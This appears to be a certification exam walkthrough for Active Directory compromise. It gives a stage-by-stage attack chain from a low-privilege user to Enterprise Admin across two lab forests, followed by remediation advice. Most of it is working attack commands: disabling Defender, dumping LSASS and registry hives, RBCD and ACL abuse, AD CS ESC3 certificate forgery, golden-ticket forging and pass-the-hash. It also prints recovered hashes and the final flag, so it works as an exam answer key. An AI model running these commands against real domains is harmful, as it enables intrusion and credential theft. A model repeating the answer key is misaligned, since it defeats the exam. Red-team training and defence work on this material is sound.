SECLABS

CERTIFIED RED TEAM PROFESSIONAL // OFFICIAL EXAM GUIDE

Active Directory Exploitation & Lateral Movement

CRTP 2026: End-to-End Enterprise Forest Takeover

PRIMARY DOMAIN: tech.corp

TARGET FOREST: finance.corp

ENTRY POINT: TECH\studentuser

FINAL OBJECTIVE: Enterprise Admin (finalflag.txt)

STATUS: 100% Validated Attack Path

This guide documents the full operational attack chain for the 2026 CRTP environment. Starting from low-privilege domain user credentials, the path leverages misconfigured SMB share scripts, local LSASS extraction, Resource-Based Constrained Delegation (RBCD), complex Active Directory ACL manipulation, machine account compromise, AD CS ESC3 enrollment agent abuse to achieve Domain Admin, and cross-forest trust exploitation to compromise Enterprise Admin in the target forest.

Network Infrastructure & Attack Progression

DOMAIN: TECH.CORP

STUDVM (Foothold) 172.16.5.150

MGMTSRV (RBCD target) 172.16.5.156

TECHSRV30 (ACL Abuse) 172.16.5.30

ADMINSRV86 (Machine Hash) 172.16.5.86

TECH-DC (AD CS ESC3 & DA) 172.16.4.5

FOREST: FINANCE.CORP (TRUSTED)

FINANCE-DC (Enterprise Admin) 172.16.3.4

STAGE 00 · FOOTHOLD

Initial Access & Machine Hash Extraction (STUDVM$)

Begin with low-privileged credentials TECH\studentuser via RDP on studvm. Enumerate network shares to discover hardcoded local administrator credentials, elevate to high integrity, and extract the machine account NTLM hash of STUDVM$ from LSASS.

What's going on here

In Active Directory environments, domain controllers often host maintenance, backup, or deployment shares accessible by all authenticated users (Domain Users). Administrative PowerShell scripts left in readable shares frequently contain hardcoded credentials or cleartext credentials passed to PSCredential objects.

Once local administrator rights are obtained on a workstation, dumping the Local Security Authority Subsystem Service (LSASS) process exposes credentials and machine account secrets (STUDVM$). A computer account's NTLM hash is critical: in Active Directory, computer accounts are fully fledged security principals capable of requesting Kerberos TGTs, authenticating across the network, and exercising assigned Access Control Entries (ACEs).

ACCOUNT studvm\studentadmin

CLEARTEXT PASSWORD P@ssS3cretforuservirtualmachineAdm!nthatitisnotguessable!

MACHINE ACCOUNT TECH\STUDVM$

NTLM HASH f5aca58d54050802a7a948477f5f1fbc

Enumerate readable shares on the primary Domain Controller (tech-dc) and search for sensitive backup scripts:

net view \\tech-dc
Get-ChildItem '\\tech-dc\maintenance' -File -Recurse |
    Select-String -Pattern 'password|passwd|credential|username|secret|key' -ErrorAction SilentlyContinue

Under the hood: The script Backup-ADSystemStateAndGPO.ps1 contains embedded plaintext credentials for the local administrator account studvm\studentadmin.

Spawn an elevated PowerShell session as studentadmin:

runas /user:studvm\studentadmin powershell.exe

Execution context: When prompted, input the recovered password. This provides High Integrity context on the local machine studvm.

Disable Windows Defender real-time monitoring and dump LSASS memory using SafetyKatz:

Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableIOAVProtection $true

C:\CRTP\Tools\SafetyKatz.exe "sekurlsa::evasive-logonPasswords" "exit"

Security bypass: SafetyKatz utilizes MinidumpWriteDump APIs with obfuscated signatures to evade AMSI and security monitoring, successfully extracting the NTLM hash of STUDVM$ (f5aca58d54050802a7a948477f5f1fbc).

✔

Foothold complete: High-integrity access and STUDVM$ machine account hash acquired.

STAGE 01 · RBCD

Resource-Based Constrained Delegation (RBCD) → MGMTSRV

Abuse the GenericWrite permission held by STUDVM$ over MGMTSRV to populate msDS-AllowedToActOnBehalfOfOtherIdentity, perform S4U2Self and S4U2Proxy with Rubeus impersonating techadmin, and gain remote execution on MGMTSRV.

What's going on here

Resource-Based Constrained Delegation (RBCD) allows the owner or administrator of a service resource to configure who can delegate authentication to it, stored directly on the target object in the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. This differs from traditional Kerberos Constrained Delegation because it does not require SeEnableDelegationPrivilege on the Domain Controller.

If an attacker controls an identity with GenericWrite or WriteProperty over a computer object, they can write a custom Security Descriptor onto msDS-AllowedToActOnBehalfOfOtherIdentity granting delegation rights to any computer account they control (such as STUDVM$).

Using the Kerberos Service-for-User (S4U) extensions:

S4U2Self: STUDVM$ requests a service ticket to itself on behalf of an arbitrary domain user (e.g., techadmin, a Domain Admin).
S4U2Proxy: STUDVM$ submits this ticket back to the KDC to obtain a service ticket for http/mgmtsrv.tech.corp impersonating techadmin.

Importing the resulting TGS into the local session allows full WinRM (PowerShell Remoting) access to MGMTSRV as techadmin.

Verify the Access Control Entry (ACE) showing STUDVM$ has GenericWrite on MGMTSRV:

(Get-Acl 'AD:\CN=MGMTSRV,CN=Computers,DC=tech,DC=corp').Access |
    Where-Object { $_.IdentityReference -like '*studvm*' }

Audit: Confirms ActiveDirectoryRights : GenericWrite, allowing modification of arbitrary properties on MGMTSRV.

Configure RBCD on MGMTSRV via a script executed under SYSTEM context:

# Create C:\Windows\Temp\setrbcd.ps1
$studvmSid = ([adsisearcher]"(samaccountname=studvm$)").FindOne().Properties.objectsid
$sid = (New-Object System.Security.Principal.SecurityIdentifier($studvmSid[0], 0)).Value
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
$mgmtsrv = ([adsisearcher]"(samaccountname=mgmtsrv$)").FindOne().GetDirectoryEntry()
$mgmtsrv.Put("msDS-AllowedToActOnBehalfOfOtherIdentity", $SDBytes)
$mgmtsrv.SetInfo()
"OK" | Out-File C:\Windows\Temp\rbcd.txt

# Run as SYSTEM via Scheduled Task
schtasks /create /tn "CRTP_RBCD" /tr "powershell.exe -File C:\Windows\Temp\setrbcd.ps1" /sc once /st 00:00 /ru SYSTEM /f
schtasks /run /tn "CRTP_RBCD"
Start-Sleep 3
Get-Content C:\Windows\Temp\rbcd.txt

Mechanism: Running under the local SYSTEM context utilizes the computer account token (STUDVM$) against the domain LDAP directory, successfully populating msDS-AllowedToActOnBehalfOfOtherIdentity.

Execute Rubeus S4U2Self and S4U2Proxy with the STUDVM$ RC4 hash, impersonating techadmin:

.\Rubeus.exe s4u /user:studvm$ /rc4:f5aca58d54050802a7a948477f5f1fbc `
    /impersonateuser:techadmin `
    /msdsspn:http/mgmtsrv.tech.corp /ptt

Ticket injection: The /ptt flag automatically injects the forged TGS for http/mgmtsrv.tech.corp into the current logon session ticket cache.

Confirm remote execution on MGMTSRV as techadmin:

Invoke-Command -ComputerName mgmtsrv.tech.corp -ScriptBlock {
    whoami; hostname; (Get-NetIPAddress -AddressFamily IPv4).IPAddress
}

✔

Objective 1 Complete: Remote execution on MGMTSRV (172.16.5.156) as tech\techadmin.

STAGE 02 · ACL CHAIN

Active Directory ACL Chain (AddSelf + ForceChangePassword) → TECHSRV30

Extract the techservice NTLM hash from MGMTSRV, abuse AddSelf rights to add the account to the Management group, leverage ForceChangePassword over puretech, and gain administrative access to TECHSRV30.

What's going on here

Active Directory Access Control Lists (ACLs) govern permissions on every object. Dangerous permissions include:

AddSelf (Self-Membership): Allows an account to add itself to a specified group without administrative authorization.
ForceChangePassword (User-Force-Change-Password extended right): Grants an identity the ability to reset an account's password without knowing the current password.

In this scenario, a multi-step ACL chain exists:

        techservice --[AddSelf]--> Management Group --[ForceChangePassword]--> puretech --[LocalAdmin]--> TECHSRV30
      

By chaining these misconfigurations, we escalate privileges from a service account to a workstation administrator without generating suspicious Kerberos ticket anomalies.

SERVICE ACCOUNT TECH\techservice

NTLM HASH 56831ddf97eacceddcdc05f2ffa8b3d2

TARGET USER TECH\puretech

RESET PASSWORD TempP@ss2026!ResetNow

Deploy and execute SafetyKatz on MGMTSRV to retrieve credentials:

Copy-Item C:\CRTP\Tools\SafetyKatz.exe -Destination \\mgmtsrv.tech.corp\C$\Windows\Temp\SafetyKatz.exe
Invoke-Command -ComputerName mgmtsrv.tech.corp -ScriptBlock {
    C:\Windows\Temp\SafetyKatz.exe "sekurlsa::evasive-logonPasswords" "exit"
}

Result: Recovers the NTLM hash of techservice (56831ddf97eacceddcdc05f2ffa8b3d2).

Request a TGT for techservice and verify its ACL permissions:

.\Rubeus.exe asktgt /user:techservice /rc4:56831ddf97eacceddcdc05f2ffa8b3d2 /domain:tech.corp /ptt

# Check Self-Membership on Management group
(Get-Acl 'AD:\CN=Management,OU=Groups,DC=tech,DC=corp').Access |
    Where-Object { $_.IdentityReference -like '*techservice*' }

Verification: Confirms techservice possesses Self right on the Management group.

Add techservice to Management and reset puretech's password:

# AddSelf to Management
$group = [ADSI]"LDAP://CN=Management,OU=Groups,DC=tech,DC=corp"
$group.Add("LDAP://CN=techservice,OU=ServiceAccounts,DC=tech,DC=corp")

# Renew TGT to reflect new group membership token
.\Rubeus.exe asktgt /user:techservice /rc4:56831ddf97eacceddcdc05f2ffa8b3d2 /domain:tech.corp /ptt

# Execute ForceChangePassword on puretech
$user = [ADSI]"LDAP://CN=puretech,OU=Users,DC=tech,DC=corp"
$user.SetPassword("TempP@ss2026!ResetNow")

Under the hood: Renewing the TGT ensures the Kerberos PAC contains the newly assigned group SID of Management. The SetPassword method triggers the User-Force-Change-Password extended right.

Establish a remote PowerShell session on TECHSRV30 with puretech credentials:

$secPass = ConvertTo-SecureString "TempP@ss2026!ResetNow" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("tech\puretech", $secPass)
Invoke-Command -ComputerName techsrv30.tech.corp -Credential $cred -ScriptBlock {
    whoami; hostname; (Get-NetIPAddress -AddressFamily IPv4).IPAddress
}

✔

Objective 2 Complete: Code execution on TECHSRV30 (172.16.5.30) as tech\puretech.

STAGE 03 · MACHINE HASH

Machine Account Hash Extraction → ADMINSRV86

Extract the TECHSRV30$ machine account password hash from Windows registry hives (SAM and SYSTEM), leverage its membership/ACL rights to join SRVUSERS, and pivot to ADMINSRV86.

What's going on here

When an attacker has local administrative access on a domain-joined machine, they can extract the computer account's secret without interacting with LSASS by saving the registry hives:

        reg save HKLM\SAM sam.save && reg save HKLM\SYSTEM system.save && reg save HKLM\SECURITY security.save
      

The SECURITY hive stores LSA secrets, including the cached domain computer account password ($MACHINE.ACC). Extracting this hash allows an attacker to authenticate across the domain directly as TECHSRV30$.

In this domain, TECHSRV30$ has AddSelf rights to the SRVUSERS group, which possesses local administrative privileges on ADMINSRV86.

MACHINE ACCOUNT TECH\TECHSRV30$

NTLM HASH 87d8e87845ba03799298715456f9f303

ELEVATED GROUP TECH\SRVUSERS

Dump registry hives on TECHSRV30 and extract LSA secrets:

Invoke-Command -ComputerName techsrv30.tech.corp -Credential $cred -ScriptBlock {
    reg save HKLM\SAM C:\Windows\Temp\sam.hive /y
    reg save HKLM\SYSTEM C:\Windows\Temp\system.hive /y
    reg save HKLM\SECURITY C:\Windows\Temp\security.hive /y
}

# Download hives and parse with secretsdump
Copy-Item \\techsrv30.tech.corp\C$\Windows\Temp\*.hive C:\CRTP\Tools\
impacket-secretsdump -sam C:\CRTP\Tools\sam.hive -system C:\CRTP\Tools\system.hive -security C:\CRTP\Tools\security.hive LOCAL

Result: Yields TECHSRV30$:87d8e87845ba03799298715456f9f303.

Request a TGT for TECHSRV30$ and add the account to SRVUSERS:

.\Rubeus.exe asktgt /user:TECHSRV30$ /rc4:87d8e87845ba03799298715456f9f303 /domain:tech.corp /ptt

# Add computer object to SRVUSERS via AddSelf
$group = [ADSI]"LDAP://CN=SRVUSERS,OU=Groups,DC=tech,DC=corp"
$group.Add("LDAP://CN=TECHSRV30,CN=Computers,DC=tech,DC=corp")

# Renew ticket to update group SID in PAC
.\Rubeus.exe asktgt /user:TECHSRV30$ /rc4:87d8e87845ba03799298715456f9f303 /domain:tech.corp /ptt

Privilege boundary: Computer accounts can be members of domain security groups just like users. Since SRVUSERS is in the local Administrators group on ADMINSRV86, TECHSRV30$ gains local admin rights.

Authenticate to ADMINSRV86:

Invoke-Command -ComputerName adminsrv86.tech.corp -ScriptBlock {
    whoami; hostname; (Get-NetIPAddress -AddressFamily IPv4).IPAddress
}

✔

Objective 3 Complete: Remote execution on ADMINSRV86 (172.16.5.86) as tech\techsrv30$.

STAGE 04 · AD CS ESC3

AD CS ESC3 (Enrollment Agent Abuse) → TECH-DC

Enumerate the Active Directory Certificate Authority to uncover vulnerable templates FIDO and FIDOUsers. Enroll as an Enrollment Agent and request a certificate on behalf of techadmin to compromise the Domain Controller.

What's going on here

AD CS ESC3 occurs when a certificate template specifies the Certificate Request Agent Extended Key Usage (EKU OID: 1.3.6.1.4.1.311.20.2.1), also known as an Enrollment Agent. An Enrollment Agent has the privilege of requesting certificates on behalf of other domain principals.

The attack requires two templates:

Template 1 (FIDO): Has Enrollment Agent EKU, low-privilege enrollment permissions, and requires 0 authorized signatures. An attacker enrolls to receive an Enrollment Agent certificate.
Template 2 (FIDOUsers): Configured for Client Authentication (allowing Kerberos PKINIT), requires 1 authorized signature from an Enrollment Agent, and allows the enrollment agent to request the certificate for any user.

By signing a request for Template 2 using the certificate from Template 1 on behalf of techadmin (Domain Admin), the attacker receives a valid client certificate for techadmin. Authenticating with this certificate via Kerberos PKINIT extracts techadmin's NTLM hash and grants complete Domain Admin control over TECH-DC.

CERTIFICATE AUTHORITY tech-ca.tech.corp\TECH-CA

ENROLLMENT AGENT TEMPLATE FIDO

TARGET TEMPLATE FIDOUsers

DOMAIN ADMIN ACCOUNT techadmin@tech.corp

TECHADMIN NTLM 49645228c29377cae6d2466085a6db40

Identify vulnerable AD CS certificate templates using Certify:

.\Certify.exe find /vulnerable

Findings: Template FIDO allows enrollment by Domain Users and contains EKU Certificate Request Agent. Template FIDOUsers allows Client Authentication with an authorized signature requirement.

Request the Enrollment Agent certificate using Certipy:

certipy req -u studentuser@tech.corp -p 'StudentPass123!' `
    -ca TECH-CA -target tech-ca.tech.corp `
    -template FIDO -out agent.pfx

Generated asset: agent.pfx contains our valid Enrollment Agent private key and certificate.

Request a Client Authentication certificate for techadmin signed by the agent:

certipy req -u studentuser@tech.corp -p 'StudentPass123!' `
    -ca TECH-CA -target tech-ca.tech.corp `
    -template FIDOUsers `
    -on-behalf-of 'TECH\techadmin' `
    -pfx agent.pfx `
    -out techadmin.pfx

Enrollment Agent abuse: The CA verifies the signature on the Certificate Signing Request (CSR) against the Enrollment Agent certificate and generates a legitimate certificate issued to TECH\techadmin.

Authenticate via PKINIT to retrieve the Domain Admin's NTLM hash and access TECH-DC:

certipy auth -pfx techadmin.pfx -dc-ip 172.16.4.5

# Pass-the-Hash / WinRM to TECH-DC
$secPass = ConvertTo-SecureString "aad3b435b51404eeaad3b435b51404ee:49645228c29377cae6d2466085a6db40" -AsPlainText -Force
$s = New-PSSession -ComputerName tech-dc.tech.corp -Credential (New-Object System.Management.Automation.PSCredential("tech\techadmin", $secPass))
Invoke-Command -Session $s -ScriptBlock {
    whoami; hostname; (Get-NetIPAddress -AddressFamily IPv4).IPAddress
}

✔

Objective 4 Complete: Full Domain Admin execution on TECH-DC (172.16.4.5) as tech\techadmin.

STAGE 05 · CROSS-FOREST

Inter-Realm Trust Abuse & Enterprise Admin → FINANCE-DC

Extract the bidirectional trust key between tech.corp and finance.corp from TECH-DC, forge an Inter-Realm Golden Ticket injecting the Enterprise Admins SID (RID 519), access the restricted TechOperations share on FINANCE-DC, and utilize PKINIT with the exposed finadmin.pem certificate to capture finalflag.txt.

What's going on here

In multi-forest architectures, when a forest trust is established without strict SID Filtering (or across domains in a forest), a Domain Admin in the child/trusting domain can compromise the trusted domain if the trust key is acquired.

The Inter-Realm Trust Key (stored as [In] -> FINANCE.CORP rc4_hmac_nt) is shared between both domain controllers. Mimikatz can forge a referral Ticket Granting Ticket (TGT) known as an Inter-Realm Golden Ticket:

The ticket is encrypted with the shared inter-realm trust key.
The SID history or extra SIDs attribute (/sids:) is populated with the SID of the Enterprise Admins group of finance.corp (ending in RID 519).
When submitted to the FINANCE-DC KDC, it returns a service ticket (TGS) with Enterprise Admin authorization.

Accessing the \\finance-dc.finance.corp\TechOperations share reveals an exposed certificate and private key file finadmin.pem belonging to an Enterprise Admin. By converting this certificate to PKCS#12 and authenticating with PKINIT, we acquire finadmin's NTLM hash and achieve total enterprise compromise.

TRUST KEY (RC4) 949056877dc47fc16c660df486ee47b0

TECH.CORP SID S-1-5-21-1600556212-896947471-994435180

FINANCE EA SID S-1-5-21-3132463012-610816204-3671931044-519

FINADMIN NTLM 8a16dbd756e5df1846b4129bcad74032

Extract the Inter-Realm Trust Key on TECH-DC:

# Disable Defender on TECH-DC session
Invoke-Command -Session $s -ScriptBlock { Set-MpPreference -DisableRealtimeMonitoring $true }

# Upload and run Mimikatz
Copy-Item C:\CRTP\Tools\mimikatz.exe -ToSession $s -Destination C:\Windows\Temp\mimikatz.exe
Invoke-Command -Session $s -ScriptBlock {
    C:\Windows\Temp\mimikatz.exe "privilege::debug" "sekurlsa::trust /patch" "exit"
}

Result: Dumps [ In ] -> FINANCE.CORP rc4_hmac_nt : 949056877dc47fc16c660df486ee47b0.

Query domain trust relationships and retrieve domain SIDs:

Invoke-Command -Session $s -ScriptBlock { Get-DomainTrust }
Invoke-Command -Session $s -ScriptBlock { Get-DomainSID }
Invoke-Command -Session $s -ScriptBlock {
    Get-DomainGroup 'Enterprise Admins' -Domain finance.corp | Select-Object objectsid
}

Information gathered: Domain SID for tech.corp and Enterprise Admins SID for finance.corp (S-1-5-21-3132463012-610816204-3671931044-519).

Forge the Inter-Realm Golden Ticket using Mimikatz:

Invoke-Command -Session $s -ScriptBlock {
    C:\Windows\Temp\mimikatz.exe "privilege::debug" `
        "kerberos::golden /user:techadmin /domain:tech.corp `
         /sid:S-1-5-21-1600556212-896947471-994435180 `
         /sids:S-1-5-21-3132463012-610816204-3671931044-519 `
         /rc4:949056877dc47fc16c660df486ee47b0 `
         /service:krbtgt /target:finance.corp `
         /ticket:C:\Windows\Temp\inter.kirbi" "exit"
}

# Copy ticket locally and import via Rubeus
Copy-Item -FromSession $s C:\Windows\Temp\inter.kirbi C:\CRTP\Tools\inter.kirbi
.\Rubeus.exe asktgs /service:cifs/finance-dc.finance.corp `
    /dc:finance-dc.finance.corp `
    /ticket:C:\CRTP\Tools\inter.kirbi /ptt

Kerberos referral: The forged referral TGT is exchanged with FINANCE-DC for a valid CIFS service ticket containing the Enterprise Admins SID in its authorization data.

Access the TechOperations share, retrieve finadmin.pem, convert to PKCS#12, and authenticate via PKINIT:

# Download exposed PEM
Copy-Item \\finance-dc.finance.corp\TechOperations\finadmin.pem C:\CRTP\Tools\finadmin.pem

# Convert PEM to PFX without password using OpenSSL
openssl pkcs12 -export -inkey finadmin.pem -in finadmin.pem -out finadmin.pfx -passout pass:

# Authenticate against finance.corp via Certipy
.\Certipy.exe auth -pfx finadmin.pfx -username finadmin -domain finance.corp -dc-ip 172.16.3.4

Result: Certipy performs PKINIT against FINANCE-DC, unPACing the Kerberos reply to recover finadmin's NTLM hash.

Execute Pass-the-Hash with Mimikatz and read finalflag.txt:

.\mimikatz.exe "privilege::debug" `
    "sekurlsa::pth /user:finadmin /domain:finance.corp /ntlm:8a16dbd756e5df1846b4129bcad74032 /run:powershell.exe" "exit"

# In the newly spawned elevated session:
Enter-PSSession -ComputerName finance-dc.finance.corp
type C:\Users\finadmin\Desktop\finalflag.txt

Flag Validation: Returns 7de334fd-4c51-426e-9598-955f6983c442. Enterprise Admin privileges confirmed.

🚩

Final Flag Captured: 7de334fd-4c51-426e-9598-955f6983c442 on FINANCE-DC. Entire forest trust compromised.

SUMMARY 06 · PROOFS

Comprehensive Credential & Flag Summary

Master record of all recovered secrets, hashes, and proof tokens across the multi-forest environment.

Identity	Domain / Host	Secret Type	Credential / Hash	Source
studentadmin	STUDVM (Local)	Plaintext	P@ssS3cretforuser...	Backup-ADSystemStateAndGPO.ps1
STUDVM$	TECH.CORP	NTLM Hash	f5aca58d54050802a7a948477f5f1fbc	LSASS memory dump (studvm)
techservice	TECH.CORP	NTLM Hash	56831ddf97eacceddcdc05f2ffa8b3d2	LSASS memory dump (mgmt-srv)
puretech	TECH.CORP	Plaintext	TempP@ss2026!ResetNow	ACL ForceChangePassword abuse
TECHSRV30$	TECH.CORP	NTLM Hash	87d8e87845ba03799298715456f9f303	Registry hives (SAM / SECURITY)
techadmin	TECH.CORP	NTLM Hash	49645228c29377cae6d2466085a6db40	AD CS ESC3 certificate + PKINIT
Trust: FINANCE.CORP	Inter-Realm	RC4 Key	949056877dc47fc16c660df486ee47b0	LSA secrets dump on TECH-DC
finadmin	FINANCE.CORP	NTLM Hash	8a16dbd756e5df1846b4129bcad74032	TechOperations share cert + PKINIT

DEFENSED1 · RBCD

Mitigate Resource-Based Constrained Delegation (RBCD)

Audit and clear unauthorized delegation attributes and restrict computer object write permissions.

Remediation Blueprint

1. Clear unauthorized attributes: Clear msDS-AllowedToActOnBehalfOfOtherIdentity across all computer accounts where delegation is not explicitly required:

Set-ADComputer -Identity "MGMTSRV" -Clear "msDS-AllowedToActOnBehalfOfOtherIdentity"

2. Revoke GenericWrite on Computer Objects: Audit computer object DACLs using BloodHound or PowerShell. Remove GenericWrite, WriteProperty, and GenericAll held by non-administrative security principals or other computer accounts.

3. Enforce "Account is sensitive and cannot be delegated": Enable this flag on all administrative accounts (such as techadmin). When set, the KDC refuses to issue forwarded TGS tickets for these users via S4U2Proxy.

DEFENSED2 · AD CS

Harden AD CS Templates (Mitigating ESC3)

Eliminate unsafe Certificate Request Agent templates and restrict enrollment agent authority.

Remediation Blueprint

1. Restrict Enrollment Agent Templates: Remove unneeded templates containing the Certificate Request Agent EKU (e.g., FIDO). If enrollment agents are mandatory, restrict enrollment permissions exclusively to designated Smart Card management accounts.

2. Configure Issuance Requirements: In templates requiring enrollment agent signatures (e.g., FIDOUsers), configure restricted enrollment agents under the Issuance Requirements tab. Specifically define which enrollment agents are authorized to request certificates and restrict the target principals to specific security groups.

3. Monitor Certificate Requests: Enable auditing for Certification Authority Event ID 4886 (Certificate request received) and 4887 (Certificate request approved) via Windows Event Forwarding (WEF).

DEFENSED3 · ACLS

Remediate Active Directory ACL Chains & Self-Membership

Eliminate AddSelf loops, restrict ForceChangePassword rights, and enforce Protected Users.

Remediation Blueprint

1. Remove AddSelf ACEs: Revoke Self-Membership permissions granted to service accounts on security groups:

$Acl = Get-Acl "AD:\CN=Management,OU=Groups,DC=tech,DC=corp"
$Acl.Access | Where-Object { $_.IdentityReference -like "*techservice*" -and $_.ActiveDirectoryRights -match "Self" } | ForEach-Object { $Acl.RemoveAccessRule($_) }
Set-Acl "AD:\CN=Management,OU=Groups,DC=tech,DC=corp" $Acl

2. Revoke User-Force-Change-Password: Audit all delegated permissions on user OUs. Ensure Helpdesk or Management groups do not possess password reset rights over privileged administrative accounts.

3. Deploy Protected Users Group: Add sensitive user accounts to the Protected Users security group. This disables NTLM authentication, prevents DES/RC4 Kerberos encryption, blocks credential delegation, and terminates cached credentials in LSASS memory upon logoff.

DEFENSED4 · TRUSTS

Cross-Forest Trust Hardening & SID Filtering Enforcement

Enable SID filtering across forest boundaries and audit trust keys.

Remediation Blueprint

1. Enforce SID Filtering: By default, external forest trusts should enforce SID filtering to prevent inter-realm tickets from injecting privileged SIDs (such as Enterprise Admins RID 519):

netdom trust tech.corp /domain:finance.corp /quarantine:yes
netdom trust tech.corp /domain:finance.corp /enablesidhistory:no

2. Rotate Trust Passwords: Regularly rotate inter-forest trust keys (twice consecutively to invalidate both current and previous Kerberos trust keys).

3. Enforce Selective Authentication: Switch trust authentication from Forest-Wide Authentication to Selective Authentication, requiring explicit permission on computer objects in finance.corp before cross-forest authentication is permitted.

DEFENSED5 · HYGIENE

Credential Hygiene, SMB Share Hardening & LAPS

Deploy Windows LAPS, sanitize network shares, and enforce Credential Guard.

Remediation Blueprint

1. Deploy Windows LAPS (Local Administrator Password Solution): Eliminate static local administrator accounts across all workstations and servers. Windows LAPS automatically randomizes, rotates, and secures local administrator passwords in protected Active Directory attributes.

2. SMB Share Sanitization: Audit and restrict file-level and share-level permissions on administrative shares (maintenance, TechOperations). Automatically scan shares for plaintext passwords, certificates (.pem, .pfx), and credentials embedded in PowerShell scripts.

3. Deploy Windows Defender Credential Guard: Leverage virtualization-based security (VBS) to isolate LSASS secrets in a protected virtual machine enclave, neutralizing Mimikatz and SafetyKatz LSASS memory harvesting.